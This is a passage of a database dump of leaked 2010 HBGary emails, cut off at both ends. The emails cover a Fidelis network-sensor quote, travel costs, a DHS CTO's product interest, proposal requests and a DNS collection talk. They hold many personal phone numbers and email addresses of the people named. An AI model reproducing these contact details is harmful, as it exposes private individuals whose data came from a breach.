I\'d like to leave some money for our s/w.\r\n>\r\n>\r\n>\r\n> Bob\r\n>\r\n>\r\n>\r\n>\r\n>\r\n> From: Sullivan, Mary [mailto:mary.sullivan@fidelissecurity.com]\r\n> Sent: Monday, August 09, 2010 2:43 PM\r\n> To: Bob Slapnik\r\n> Subject: RE: what i think they have\r\n>\r\n>\r\n>\r\n> Do you want a formal quote? Below is the pricing. The first part is the\r\n> device. I priced the actual service at 50% off, or $13k. If you need me to\r\n> drop that, let me know-it\'s so few users, which makes Qualys work well for\r\n> them. The $1,403 price is for our reputational data feed from\r\n> Cyveillance-they get 90 days for free on that, btw. It\'s described in one of\r\n> the brochures attached.\r\n>\r\n>\r\n>\r\n> Description is below.\r\n>\r\n>\r\n>\r\n>\r\n> Order Code\r\n>\r\n> Description\r\n>\r\n> Qty\r\n>\r\n> List Price\r\n>\r\n> Discount\r\n>\r\n> Net Price\r\n>\r\n> Ext. Price\r\n>\r\n>\r\n> FSS-CP-DEV\r\n>\r\n> Fidelis XPS CommandPost Device Only\r\n>\r\n> 1\r\n>\r\n> $6,000\r\n>\r\n> 10%\r\n>\r\n> $5,400\r\n>\r\n> $5,400\r\n>\r\n>\r\n> FSS-EDGE-25-DEV\r\n>\r\n> Fidelis XPS Edge 25 Device Only\r\n>\r\n> 1\r\n>\r\n> $5,000\r\n>\r\n> 10%\r\n>\r\n> $4,500\r\n>\r\n> $4,500\r\n>\r\n>\r\n> Subtotal - Hardware\r\n>\r\n>    $11,000\r\n>\r\n>        $9,900\r\n>\r\n>\r\n>\r\n> SUB1-CP\r\n>\r\n> Fidelis XPS CommandPost Subscription(1 year subscription, includes software,\r\n> upgrades & 8x5 support. Separate device purchase required)\r\n>\r\n> 1\r\n>\r\n> $6,000\r\n>\r\n> 50%\r\n>\r\n> $3,000\r\n>\r\n> $3,000\r\n>\r\n>\r\n> SUB1-EDGE-25\r\n>\r\n> Fidelis XPS Edge 25 Subscription(1 year subscription, includes software,\r\n> upgrades & 8x5 support. Separate device purchase required)\r\n>\r\n> 1\r\n>\r\n> $20,000\r\n>\r\n> 50%\r\n>\r\n> $10,000\r\n>\r\n> $10,000\r\n>\r\n>\r\n> SUB1-CMP-EDGE-25\r\n>\r\n> Anti-Phishing and Anti-Malware Feeds for Fidelis XPS Edge 25 - Subscription\r\n> from September 1, 2010 to September 30, 2011\r\n>\r\n> 1\r\n>\r\n> $2,159\r\n>\r\n> 35%\r\n>\r\n> $1,403\r\n>\r\n> $1,403\r\n>\r\n>\r\n> Subtotal - Service\r\n>\r\n>    $28,159\r\n>\r\n>        $14,403\r\n>\r\n>\r\n>\r\n> Grand Total\r\n>\r\n>    $39,159\r\n>\r\n>        $24,303\r\n>\r\n>\r\n>\r\n>\r\n>\r\n> Fidelis XPS is an appliance-based 2.5 Gpbs network sniffer that reassembles\r\n> sessions (layers 3-7, including content) in memory. This Deep-Session\r\n> InspectionT provides the ability to understand applications and content\r\n> passing the sensor, in a port-independent manner. Customers say it combines\r\n> the real-time ability to react of an IDS/IPS with the session awareness of\r\n> packet capture, which makes it uniquely suited for  blocking network threats\r\n> like malware and its effects.\r\n>\r\n>\r\n>\r\n> Features include:\r\n>\r\n> *graphical real time netflow dashboard with content-shows \"top talkers\" and\r\n> compromised hosts\r\n>\r\n> *scalability-single console for all sensors\' alerts, searchable and sends\r\n> alerts to SEIM. Excellent on-board reporting.\r\n>\r\n> *very granular-alerts on Boolean combinations of location/content/session\r\n> attributes. Easy to target.\r\n>\r\n> *single-click access to file and session forensics, for malware/malicious\r\n> file capture\r\n>\r\n> *sophisticated content analyzers (binary profile, renamed exe, unknown,\r\n> encryption attributes, and many others)\r\n>\r\n>\r\n>\r\n>\r\n>\r\n> Mary Sullivan\r\n>\r\n> D 240-396-2446\r\n>\r\n> M 301-980-1308\r\n>\r\n>\r\n>\r\n> From: Bob Slapnik [mailto:bob@hbgary.com]\r\n> Sent: Monday, August 09, 2010 2:23 PM\r\n> To: Sullivan, Mary\r\n> Subject: RE: what i think they have\r\n>\r\n>\r\n>\r\n> All I need is the final price.  HBGary might want to resell at some point\r\n> but I am not concerned about that for this transaction.  And maybe Fidelis\r\n> might want to resell HBGary  J , we\'ll see.\r\n>\r\n>\r\n>\r\n>\r\n>\r\n>\r\n>\r\n> From: Sullivan, Mary [mailto:mary.sullivan@fidelissecurity.com]\r\n> Sent: Monday, August 09, 2010 2:17 PM\r\n> To: Bob Slapnik\r\n> Subject: RE: what i think they have\r\n>\r\n>\r\n>\r\n> Will do, stand by. Just one question-is the price to customer or to you? Ie\r\n> is it final price?\r\n>\r\n> Mary\r\n>\r\n>\r\n>\r\n> Mary Sullivan\r\n>\r\n> D 240-396-2446\r\n>\r\n> M 301-980-1308\r\n>\r\n>\r\n>\r\n> From: Bob Slapnik [mailto:bob@hbgary.com]\r\n> Sent: Monday, August 09, 2010 2:16 PM\r\n> To: Sullivan, Mary\r\n> Subject: RE: what i think they have\r\n>\r\n>\r\n>\r\n> Mary,\r\n>\r\n>\r\n>\r\n> They have one Internet connection and it is a T1.  Thanks for telling me\r\n> what Fidelis product to propose, BRIEF info about it (like 2-3 sentences),\r\n> and cost.  Thx.  A 1-2 page product datasheet would be useful because I\r\n> could append it to our proposal.\r\n>\r\n>\r\n>\r\n> Bob\r\n>\r\n>\r\n>\r\n>\r\n>\r\n> From: Sullivan, Mary [mailto:mary.sullivan@fidelissecurity.com]\r\n> Sent: Monday, August 09, 2010 1:14 PM\r\n> To: Bob Slapnik\r\n> Subject: what i think they have\r\n>\r\n>\r\n>\r\n> http://www.qualys.com/products/qg_suite/ is the QualysGuard suite. Not sure\r\n> what parts of this they have.there are some pieces of this that we don\'t\r\n> handle, for sure... Like vuln scanning, policy/pci compliance, web\r\n> assessment. This is SaaS.\r\n>\r\n>\r\n>\r\n> Basically, we watch network traffic (usually outbound, but we can look in\r\n> both directions) for anything we\'re instructed to watch for.  But we don\'t\r\n> scan hosts.\r\n>\r\n>\r\n>\r\n> The IBM model number you gave me is for a rack server, here\r\n> https://www-304.ibm.com/jct01003c/cgi-bin/common/ssi/ssialias?infotype=an\r\n>  ubtype=ca&htmlfid=897/ENUS105-415&appname=isource&language=enus>\r\n> &subtype=ca&htmlfid=897/ENUS105-415&appname=isource&language=enus but it\r\n> doesn\'t tell us what\'s on it..ie, if there is an application there.\r\n>\r\n>\r\n>\r\n> Sorry, feel I\'m not being very helpful, here.\r\n>\r\n>\r\n>\r\n> What we need to price is the number and speed of the egress pts at the\r\n> beachhead office.\r\n>\r\n> Mary\r\n>\r\n>\r\n>\r\n>\r\n>\r\n>\r\n>\r\n> Mary Sullivan | Federal Sales Manager | Fidelis Security Systems, Inc.\r\n> D 240-396-2446 | M 301-980-1308 | mary.sullivan@fidelissecurity.com |\r\n> www.fidelissecurity.com\r\n>\r\n>\r\n>\r\n> See It | Study It | Stop It with Fidelis XPS:\r\n> http://www.youtube.com/fidsecsys.\r\n>\r\n>\r\n>\r\n> No virus found in this incoming message.\r\n> Checked by AVG - www.avg.com\r\n> Version: 9.0.851 / Virus Database: 271.1.1/3050 - Release Date: 08/09/10\r\n> 02:35:00\r\n>\r\n> No virus found in this incoming message.\r\n> Checked by AVG - www.avg.com\r\n> Version: 9.0.851 / Virus Database: 271.1.1/3050 - Release Date: 08/09/10\r\n> 02:35:00\r\n>\r\n> No virus found in this incoming message.\r\n> Checked by AVG - www.avg.com\r\n> Version: 9.0.851 / Virus Database: 271.1.1/3050 - Release Date: 08/09/10\r\n> 02:35:00\r\n>\r\n> \r\n> \r\n',3463,'aaron_hbgary_com/3463.html'),(9959,'2010-08-09','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297007796.M607155P14101Q4814.eml','\"Ted Vera\" <ted@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>','RE: GFirst','I can pay your expenses if that would help.  Hourly rate, we are tight on\r\nright now.  I invited you guys so you could do some BD for HBgary Fed.\r\nWould this work?\r\n\r\n-----Original Message-----\r\nFrom: Ted Vera [mailto:ted@hbgary.com] \r\nSent: Monday, August 09, 2010 10:40 AM\r\nTo: Penny Leavy\r\nCc: Barr Aaron\r\nSubject: GFirst\r\n\r\nPenny,\r\n\r\nCan I charge HBGary for attending GFirst?  Reason I ask is that we\r\ndon\'t have enough $$$ in the bank for travel costs/labor for this\r\ntrip.  Bob wants me to do an Active Defense demo for the AirForce\r\nwhile I\'m there, so there is some HBGary Business Development\r\nassociated with the trip.\r\n\r\nTed\r\n\r\n',7278,'aaron_hbgary_com/7278.html'),(9960,'2010-08-09','\"Maria Lucas\" <maria@hbgary.com>','/aaron@hbgary.com/new/1297007796.M814301P14101Q4815.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>,','Fwd: HBGary software','Hi Aaron\r\n \r\nMark White is interested in meeting with you.  His group oversees the 6 National Security Data Centers and he makes recommendations etc.  The 6 include US CER, ICIRC, NCIJTF, D3, Cyber Command  -- I missed a couple\r\n\r\n \r\nHe says we are missing a game changing opportunity -- see yellow highlights below.\r\n \r\nI found him very friendly and wanting to share information but I had difficulty understanding him.....  He is interested in meeting you but I don&#39;t know the opportunity except perhaps they can take a lead role in setting standards and articulating their product needs.  \r\n\r\n \r\nIn the meantime he is evaluating Responder Pro.  He is intersted in the TMC as well.\r\n \r\nMaria\r\n\r\n\r\n\r\n \r\n \r\n \r\n\r\n\r\n\r\nPhil,\r\n \r\nYou and I met at S&amp;T last April; I was the one sitting in front of the room in the same row as Doug Maughan, on the far right hand side.  I had expressed my opinion as to how your product could be used as part of an automated anti-phishing email capture process right off of government SMTP mail gateways.\r\n\r\n \r\nI am interested in training opportunities with your software and identify if I could get a promotional version of your responder suite for some evaluation and experimentation.\r\n\r\n \r\nPlease advise if this is possible?\r\n \r\nThank you for your help with this request.\r\n \r\nMark White\r\nCTO, National Cyber Security Center\r\nDepartment of Homeland Security\r\n(703) 235-5483 New Phone Number!\r\n(202) 340-6000 Mobile \r\n \r\n-- Phil Wallisch | Sr. Security Engineer | HBGary, Inc.3604 Fair Oaks Blvd, Suite 250 | Sacramento, CA 95864Cell Phone: 703-655-1208 | Office Phone: 916-459-4727 x 115 | Fax: 916-481-1460\r\nWebsite: http://www.hbgary.com | Email: phil@hbgary.com | Blog:  https://www.hbgary.com/community/phils-blog/\r\n-- Maria Lucas, CISSP | Regional Sales Director | HBGary, Inc.Cell Phone 805-890-0401  Office Phone 301-652-8885 x108 Fax: 240-396-5971email: maria@hbgary.com \r\n  \r\n',413,'aaron_hbgary_com/413.html'),(9961,'2010-08-09','\"Kirby Kintner\" <kkintner@digitalmanagement.com>','/aaron@hbgary.com/new/1297007797.M259466P14101Q4817.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','ITSSS Data Call Inputs','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron:\r\n\r\n&nbsp;\r\n\r\nWe are fast approaching Pink Team and I need to write the\r\nfront end of our proposal that introduces the team.\r\n\r\nI need to know when I can expect your responses for the\r\nfollowing:\r\n\r\n&nbsp;\r\n\r\n\r\n \r\n  \r\n  Scalable Logo\r\n  \r\n \r\n \r\n  \r\n  Company Info\r\n  \r\n \r\n \r\n  \r\n  Capabilities\r\n  Overview\r\n  \r\n \r\n \r\n  \r\n  Capabilities\r\n  collateral\r\n  \r\n \r\n \r\n  \r\n  Contact Info\r\n  \r\n \r\n \r\n  \r\n  Resumes\r\n  \r\n \r\n \r\n  \r\n  Past\r\n  Performance Short-list\r\n  \r\n \r\n \r\n  \r\n  Success stories\r\n  \r\n \r\n \r\n  \r\n  Experience\r\n  matrix\r\n  \r\n \r\n\r\n\r\n&nbsp;\r\n\r\nRSVP\r\n\r\n&nbsp;\r\n\r\nThanx\r\n\r\nKirby\r\n\r\n703-966-7887\r\n\r\n\r\n\r\n\r\n\r\n\r\n',12229,'aaron_hbgary_com/12229.html'),(9962,'2010-08-09','\"Maria Lucas\" <maria@hbgary.com>','/aaron@hbgary.com/new/1297007797.M42409P14101Q4816.eml','Mark.White@dhs.gov,Mark.White@dhs.gov','Fwd: HBGary software','Hi Mark\r\n \r\nGreat speaking with you today.  Here is my contact information.  I&#39;ll let you know when Aaron Barr, CEO HBGary Federal is available to meet.\r\n \r\nMaria\r\n \r\nMaria Lucas, CISSP | Regional Sales Director | HBGary, Inc.Cell Phone 805-890-0401  Office Phone 301-652-8885 x108 Fax: 240-396-5971email: maria@hbgary.com \r\n  \r\n',1394,'aaron_hbgary_com/1394.html'),(9963,'2010-08-09','\"John Fanguy\" <jfanguy@digitalmanagement.com>','/aaron@hbgary.com/new/1297007797.M500205P14101Q4818.eml','\"Kirby Kintner\" <kkintner@digitalmanagement.com>,\"Aaron Barr\" <aaron@hbgary.com>','RE: ITSSS Data Call Inputs','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron-\r\n\r\n&nbsp;\r\n\r\nUnderstand you may have no past\r\nperformance and no success stories yet &nbsp;to contribute. And you might need a bit\r\nmore time on the resumes.&nbsp; Also, don&#8217;t spend time on the experience matrix&#8230;it&#8217;s\r\njust a body count and we know your division has just started out.\r\n\r\n&nbsp;\r\n\r\nThanks.\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n-John\r\n\r\n&nbsp;\r\n\r\nVP\r\n\r\nDigital Management, Inc.\r\n\r\n301-346-6749 cell\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Kirby Kintner \r\nSent: Monday, August 09, 2010 5:46 PM\r\nTo: Aaron Barr\r\nCc: John Fanguy\r\nSubject: ITSSS Data Call Inputs\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nAaron:\r\n\r\n&nbsp;\r\n\r\nWe are fast approaching Pink Team and I need to write the\r\nfront end of our proposal that introduces the team.\r\n\r\nI need to know when I can expect your responses for the\r\nfollowing:\r\n\r\n&nbsp;\r\n\r\n\r\n \r\n  \r\n  Scalable Logo\r\n  \r\n \r\n \r\n  \r\n  Company Info\r\n  \r\n \r\n \r\n  \r\n  Capabilities\r\n  Overview\r\n  \r\n \r\n \r\n  \r\n  Capabilities\r\n  collateral\r\n  \r\n \r\n \r\n  \r\n  Contact Info\r\n  \r\n \r\n \r\n  \r\n  Resumes\r\n  \r\n \r\n \r\n  \r\n  Past\r\n  Performance Short-list\r\n  \r\n \r\n \r\n  \r\n  Success stories\r\n  \r\n \r\n \r\n  \r\n  Experience\r\n  matrix\r\n  \r\n \r\n\r\n\r\n&nbsp;\r\n\r\nRSVP\r\n\r\n&nbsp;\r\n\r\nThanx\r\n\r\nKirby\r\n\r\n703-966-7887\r\n\r\n\r\n\r\n\r\n\r\n\r\n',12832,'aaron_hbgary_com/12832.html'),(9964,'2010-08-09','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297007799.M743467P14101Q4819.eml','\"Barr Aaron\" <aaron@hbgary.com>,mark@hbgary.com','Draft Student Training Manual','Attached.\r\n\r\n\r\n\r\n-- \r\nTed Vera  |  President  |  HBGary Federal\r\nOffice 916-459-4727x118  | Mobile 719-237-8623\r\nwww.hbgary.com  |  ted@hbgary.com\r\n',876,'aaron_hbgary_com/876.html'),(9965,'2010-08-09','\"cybernexus Group Members\" <group-digests@linkedin.com>','/aaron@hbgary.com/new/1297007799.M950542P14101Q4820.eml','\"Aaron Barr\" <aaron@hbgary.com>','From Scott Sheldon and other cybernexus group members on LinkedIn','\r\n\r\n  \r\n  \r\n    Linkedin GroupsAugust 9, 2010\r\n    cybernexus\r\n    \r\n      \r\n\r\n    \r\n\r\n    \r\n\r\n\r\n  Most Active Discussions (1)\r\n    \r\n      \r\n            Technical Tuesday - 10 Aug; 1600 - 1730; Advanced Cyber Collection Techniques - Extracting Information from the Domain Name System (DNS)\r\n            1 comment  &raquo;\r\n      \r\n        Started by Scott Sheldon\r\n        \r\n        \r\n              For those who attended Blackhat and DEFCON, you probably heard quite a bit about DNSSEC. Come armed with your questions. Tim assures me...\r\n\r\n                    More &raquo;\r\n              By Scott Sheldon\r\n        \r\n        \r\n    \r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\nDon\'t want to receive email notifications? Adjust your message settings.\r\nLinkedIn values your privacy. At no time has LinkedIn made your email address available to any other LinkedIn user without your permission. &#169; 2010, LinkedIn Corporation.\r\nStop inappropriate content the moment it is posted. Send me an email for each new discussion &#187;\r\n&nbsp;\r\n\r\n\r\n',12407,'aaron_hbgary_com/12407.html'),(9966,'2010-08-09','\"Sheldon, Scott W.\" <SCOTT.W.SHELDON@saic.com>','/aaron@hbgary.com/new/1297007800.M172094P14101Q4821.eml','','FW: cybernexus Technical Tuesday - Advanced Cyber Collection Techniques - Extracting Information from the Domain Name System (DNS) - 10 Aug; 1600 - 1730','\r\n\r\n\r\n\r\n\r\n\r\n\r\nv\\:* {behavior:url(#default#VML);}\r\no\\:* {behavior:url(#default#VML);}\r\nw\\:* {behavior:url(#default#VML);}\r\n.shape {behavior:url(#default#VML);}\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nst1\\:*{behavior:url(#default#ieooui) }\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nI&#8217;ve spoken with Tim about the\r\nDNSSEC revelations at Blackhat and DEFCON and at tomorrow&#8217;s presentation\r\nhe&#8217;s prepared to address how DNSSEC affects his methodologies.\r\n\r\n&nbsp;\r\n\r\nScott\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nScott W. Sheldon, PMP | SAIC\r\n\r\nVice\r\nPresident, Senior Account Executive | Intelligence, Security and Technology\r\nGroup\r\n\r\nmobile:\r\n410.382.0179 | email: scott.w.sheldon@saic.com \r\n\r\n&nbsp;\r\n\r\nScience\r\nApplications International Corporation\r\n\r\n6841\r\n  Benjamin Franklin Drive\r\n\r\nColumbia, MD\r\n 21046\r\n\r\nwww.saic.com\r\n\r\n&nbsp;\r\n\r\nEnergy&nbsp;\r\n|&nbsp; Environment&nbsp; |&nbsp; National Security&nbsp; |&nbsp; Health&nbsp;\r\n|&nbsp; Critical Infrastructure\r\n\r\n&nbsp;\r\n\r\nPlease\r\nconsider the environment before printing this email.\r\n\r\n&nbsp;\r\n\r\nThis e-mail and any attachments to it are intended only for the\r\nidentified recipients. It may contain proprietary or otherwise legally\r\nprotected information of SAIC. Any unauthorized use or disclosure of this\r\ncommunication is strictly prohibited. If you have received this communication\r\nin error, please notify the sender and delete or otherwise destroy the e-mail\r\nand all attachments immediately.\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom: Sheldon, Scott\r\nW. \r\nSent: Tuesday, July 20, 2010 2:49\r\nPM\r\nSubject: cybernexus Technical\r\nTuesday - Advanced Cyber Collection Techniques - Extracting Information from\r\nthe Domain Name System (DNS) - 10 Aug; 1600 - 1730\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n&#8226; The Domain Name System Runs\r\nOn Virtually Every Computer Network Today \r\n&#8226; DNS Holds A Wealth Of Information That Is Often Overlooked When\r\nConducting Cyber Collections\r\n&#8226; Specifically DNS Is A Naming System For Resources Connected To The\r\nInternet\r\no DNS Is Primarily Used To Translate A Domain Name To An IP Address\r\no Bind Is The Most Common DNS Server Software\r\n&#8226; There Are Various DNS Record Types That Provide Unique Information\r\n&#8226; Domain Name Registrars Are Where Individuals Go To Register A Domain\r\nName\r\n&#8226; Historical Domain Registration/Resolution Information Can Be Used To\r\nCorrelate Past Events Or Gain Positive Attribution\r\n&#8226; Private Domain Registrations Can Impede The Collection Of DNS\r\nInformation\r\n&#8226; Command Line Tools Such As Nslookup And DIG Are Used To Extract DNS\r\nInformation\r\n&#8226; Web Based Tools Can Offer Easy Access To DNS Information While\r\nObfuscating Location\r\n&#8226; Zone Transfers Provide Information For An Entire Domain\r\n&#8226; DNS Plays An Important Role In Cyber Collection\r\no DNS Aides Enumeration of A Domain And Identifying Other Areas Of Research\r\n\r\n\r\nPresented by: Timothy Cague, President of The Cyan Group LLC\r\n\r\nTimothy Cague, President of The Cyan Group LLC specializes in Open Source Cyber\r\nCollection for the Intelligence Community, DoD, and Law Enforcement.\r\nHe has a Masters in Business Administration from the University of Maryland\r\nUniversity College and a Bachelors of Science in Computer Engineering from the\r\nRochester Institute of Technology.\r\n\r\nAfter graduating from RIT in 2000 Tim spent four years as a Communications\r\nOfficer in the U.S. Air Force. First stationed at Langley Air Force Base he led\r\nthe Network and Satellite Communications Elements for the Air Combat Command Communications\r\nGroup. He then moved on to Scott Air Force Base where he served as Team chief\r\nfor a Scope Network Assessment Team deploying worldwide to assess and secure\r\nAir Force Network Architectures.\r\n\r\nAfter separating from the Air Force in 2004, Tim spent 5 years at ManTech\r\nbuilding and leading their Reconnaissance Operations Cell in charge of open\r\nsource collection. As the Technical Manager for multiple contracts under this\r\nunit Tim and his team supported numerous government missions.\r\n\r\nAs president of The Cyan Group Tim now provides Cyber Open Source Collection\r\nprofessionals for collection, analysis, and training support to government\r\nentities. \r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\nSAIC will host the Technical Tuesday at our facility at 7035\r\nAlbert Einstein, Columbia, MD 21046.\r\nPlease note: This is a different location from other recent Technical Tuesday\r\nevents. It is still in Columbia Gateway, but in a different building from\r\nrecent events.\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\nScott\r\n\r\n&nbsp;\r\n\r\nScott W. Sheldon, PMP | SAIC\r\n\r\nVice President, Senior Account\r\nExecutive | Intelligence, Security and Technology Group\r\n\r\nmobile: 410.382.0179 | email:\r\nscott.w.sheldon@saic.com \r\n\r\n&nbsp;\r\n\r\nScience Applications International\r\nCorporation\r\n\r\n6841 Benjamin Franklin Drive\r\n\r\nColumbia,\r\n MD 21046\r\n\r\nwww.saic.com\r\n\r\n&nbsp;\r\n\r\nEnergy&nbsp; |&nbsp;\r\nEnvironment&nbsp; |&nbsp; National Security&nbsp; |&nbsp; Health&nbsp; |&nbsp; Critical\r\nInfrastructure\r\n\r\n&nbsp;\r\n\r\nPlease\r\nconsider the environment before printing this email.\r\n\r\n&nbsp;\r\n\r\nThis e-mail and\r\nany attachments to it are intended\r\nonly for the identified recipients. It may contain proprietary or otherwise\r\nlegally protected information of SAIC. Any unauthorized use or disclosure of\r\nthis communication is strictly prohibited. If you have received this\r\ncommunication in error, please notify the sender and delete or otherwise\r\ndestroy the e-mail and all attachments\r\nimmediately.\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',2346,'aaron_hbgary_com/2346.html'),(9967,'2010-08-09','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297007801.M139447P14101Q4822.eml','\"Penny Leavy\" <penny@hbgary.com>,\"Penny Leavy\" <penny@hbgary.com>,','Fwd: De LA Housaye invoice','Hi Penny,\r\n\r\nGot this from DeeAnn.  I think it is intended for HBGary, Inc. Can you\r\nplease confirm?\r\n\r\nThanks,\r\nTed\r\n\r\n\r\n---------- Forwarded message ----------\r\nFrom: DeeAnn Buonaccorsi \r\nDate: Mon, Aug 9, 2010 at 4:11 PM\r\nSubject: RE: De LA Housaye invoice\r\nTo: Ted Vera \r\n\r\n\r\nHere you go Ted.\r\n\r\n\r\nThanks\r\n\r\nDeeAnn Buonaccorsi\r\nOffice Manager\r\nHBGary, Inc.\r\n3604 Fair Oaks Blvd.  Suite 250\r\nSacramento, CA  95864\r\nTel:  916-459-4727 ext. 101\r\nFax: 916-481-1460\r\nEmail  deeann@hbgary.com\r\n\r\n-----Original Message-----\r\nFrom: Ted Vera [mailto:ted@hbgary.com]\r\nSent: Monday, August 09, 2010 2:50 PM\r\nTo: DeeAnn Buonaccorsi\r\nSubject: Re: De LA Housaye invoice\r\n\r\nPlease scan and email.  I\'m not sure De LA Housaye is.\r\n\r\nOn Mon, Aug 9, 2010 at 3:37 PM, DeeAnn Buonaccorsi \r\nwrote:\r\n> Hi Ted,\r\n>\r\n>\r\n>\r\n> I have an invoice from De LA Housaye, Did you want me to mail it to you or\r\n> Scan and email it to you?\r\n>\r\n>\r\n>\r\n> DeeAnn Buonaccorsi\r\n>\r\n> Office Manager\r\n>\r\n> HBGary, Inc.\r\n>\r\n> 3604 Fair Oaks Blvd.  Suite 250\r\n>\r\n> Sacramento, CA  95864\r\n>\r\n> Tel:  916-459-4727 ext. 101\r\n>\r\n> Fax: 916-481-1460\r\n>\r\n> Email  deeann@hbgary.com\r\n>\r\n>\r\n\r\n\r\n\r\n--\r\nTed Vera  |  President  |  HBGary Federal\r\nOffice 916-459-4727x118  | Mobile 719-237-8623\r\nwww.hbgary.com  |  ted@hbgary.com\r\n\r\n\r\n\r\n-- \r\nTed Vera  |  President  |  HBGary Federal\r\nOffice 916-459-4727x118  | Mobile 719-237-8623\r\nwww.hbgary.com  |  ted@hbgary.com\r\n',6913,'aaron_hbgary_com/6913.html'),(9968,'2010-08-09','\"John M. Farrell\" <jmfarrell@yahoo.com>','/aaron@hbgary.com/new/1297007801.M440918P14101Q4823.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Catch Up','\r\n\r\n  \r\n\r\n  \r\n\r\n\r\n  \r\n  LinkedIn\r\n\r\nJohn M. Farrell has sent you a message.\r\n\r\n\r\n  Date:\r\n  8/09/2010\r\n\r\n\r\n  Subject:\r\n  RE: Catch Up\r\n\r\n\r\n\r\n  Aaron,\r\n\r\nI\'m attending the INPUT breakfast in Tysons Corner tomorrow morning. Will you be there? If not, how about we meet around 10AM right after the event? You can reach me on cell # 301.768.0186. Thanks\r\n\r\n\r\n\r\nJohn\r\n\r\n\r\n\r\nOn 08/06/10 11:41 AM, Aaron Barr wrote:\r\n\r\n--------------------\r\n\r\nHi John,\r\n\r\n\r\n\r\nSorry I have been silent...still doing well but scraping by working to build our pipeline.  Lets get together.\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\nView/reply to this message\r\n\r\nDon\'t want to receive e-mail notifications? Adjust your message settings.\r\n\r\n\r\n\r\n\r\n\r\n  &#169; 2010, LinkedIn Corporation\r\n\r\n\r\n',4191,'aaron_hbgary_com/4191.html'),(9969,'2010-08-09','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297007801.M662343P14101Q4824.eml','\"Maria Lucas\" <maria@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>,\"Maria Lucas\" <maria@hbgary.com>','RE: HBGary software','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nThis is a TMC opportunity it sounds like.&nbsp; Given he is a CTO, it&#8217;s\r\nprobably best if someone more technical talks to him about what he is trying to\r\ndo.&nbsp; There are TONS of anti-phising companies out there, Symantec, McAfee etc\r\nall have a solutions, I think the ability to customize and do this based upon\r\nbehavior is what is compelling, the problem or potential problem is can we do\r\nwhat he wants.&nbsp; If it&#8217;s a payload with a PDF probably, if it&#8217;s a web link,\r\nprobably not, unless something is downloaded.&nbsp; If he is interested in\r\ndeveloping&nbsp; a solutions, a &#8220;sandbox&#8221; and containment program would work but we\r\ndon&#8217;t have the quarantine capability yet\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nFrom: Maria Lucas\r\n[mailto:maria@hbgary.com] \r\nSent: Monday, August 09, 2010 2:20 PM\r\nTo: Aaron Barr\r\nCc: Penny C. Hoglund; Bob Slapnik\r\nSubject: Fwd: HBGary software\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nHi Aaron\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nMark White is interested in meeting with you.&nbsp; His\r\ngroup oversees the 6 National Security Data Centers and he makes\r\nrecommendations etc.&nbsp; The 6 include US CER, ICIRC, NCIJTF, D3, Cyber Command&nbsp;\r\n-- I missed a couple\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nHe says we are missing a game changing opportunity -- see\r\nyellow highlights below.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nI found him very friendly and wanting to share information\r\nbut I had difficulty understanding him.....&nbsp; He is interested in meeting\r\nyou but I don\'t know the opportunity except perhaps they can take a lead role\r\nin setting standards and articulating their product needs.&nbsp; \r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nIn the meantime he is evaluating Responder Pro.&nbsp; He is\r\nintersted in the TMC as well.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nMaria\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nPhil,\r\n\r\n&nbsp;\r\n\r\nYou and I met at S&amp;T last April; I was the one\r\nsitting in front of the room in the same row as Doug Maughan, on the far right\r\nhand side.&nbsp; I had expressed my opinion as\r\nto how your product could be used as part of an automated anti-phishing email\r\ncapture process right off of government SMTP mail gateways.\r\n\r\n&nbsp;\r\n\r\nI am interested in training opportunities with your\r\nsoftware and identify if I could get a promotional version of your responder\r\nsuite for some evaluation and experimentation.\r\n\r\n&nbsp;\r\n\r\nPlease advise if 